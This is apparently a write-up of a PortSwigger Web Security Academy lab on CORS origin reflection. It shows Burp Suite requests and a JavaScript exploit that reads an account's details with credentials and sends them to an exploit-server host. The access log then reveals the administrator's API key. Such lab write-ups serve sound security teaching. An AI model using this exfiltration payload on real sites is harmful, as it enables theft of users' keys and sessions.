CORS vulnerability with basic origin reflection

Description

This website has an insecure CORS configuration in that it trusts all origins.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

Approach

First, I turned on the FoxyProxy extension to proxy all requests through Burp Suite and started navigating the site after logging in as the user "wiener." In Burp Suite's HTTP History, I noticed an interesting request:

GET /accountDetails HTTP/2
Host: 0aa00058045647ac83331061009e0018.web-security-academy.net
Cookie: session=ACSf2nCxRqYbBPq9twNt18E5ErjEaydJ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
...

The response to this request was:

HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "I82gyba8zGS8hQLvuJhGdl3Gt5LE9ymm",
  "sessions": [
    "ACSf2nCxRqYbBPq9twNt18E5ErjEaydJ"
  ]
}

The Access-Control-Allow-Credentials header caught my attention as it indicates the use of CORS. To confirm this, I added the Origin header to the request and sent it:

GET /accountDetails HTTP/2
Host: 0aa00058045647ac83331061009e0018.web-security-academy.net
Origin: https://ichyaboy.hacker
Cookie: session=ACSf2nCxRqYbBPq9twNt18E5ErjEaydJ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
...

The response was:

HTTP/2 200 OK
Access-Control-Allow-Origin: https://ichyaboy.hacker
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "I82gyba8zGS8hQLvuJhGdl3Gt5LE9ymm",
  "sessions": [
    "ACSf2nCxRqYbBPq9twNt18E5ErjEaydJ"
  ]
}

This indicates that access is allowed, meaning any domain can access resources from this domain. To exploit this, I used a script to retrieve the API key of the victim's user, taking advantage of the Access-Control-Allow-Origin: true header, which means the response will be session-based.

Here's the exploit script:

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0aa00058045647ac83331061009e0018.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
	location='https://exploit-0a6000ca0401478983a40fc801d70020.exploit-server.net/log?key='+this.responseText;
};
</script>

This script accesses the vulnerable site, stores the response, and sends it back to my exploit server. After clicking "Store" and "Deliver exploit to victim," I checked the access log of my exploit server and saw this request:

10.0.4.71       2024-06-18 12:15:06 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22CGACBF1HwZ9vge8Y7O8ZkLhFOZf1xkcf%22,%20%20%22sessions%22:%20[%20%20%20%20%22V3FMsuYGKchmIRpeiMyu3aLSsc3hSYcY%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

Upon URL decoding the key parameter value, I could see the API key of the administrator user:

/log?key={  "username": "administrator",  "email": "",  "apikey": "CGACBF1HwZ9vge8Y7O8ZkLhFOZf1xkcf",  "sessions": [    "V3FMsuYGKchmIRpeiMyu3aLSsc3hSYcY"  ]}

By submitting that API key value, the lab is solved.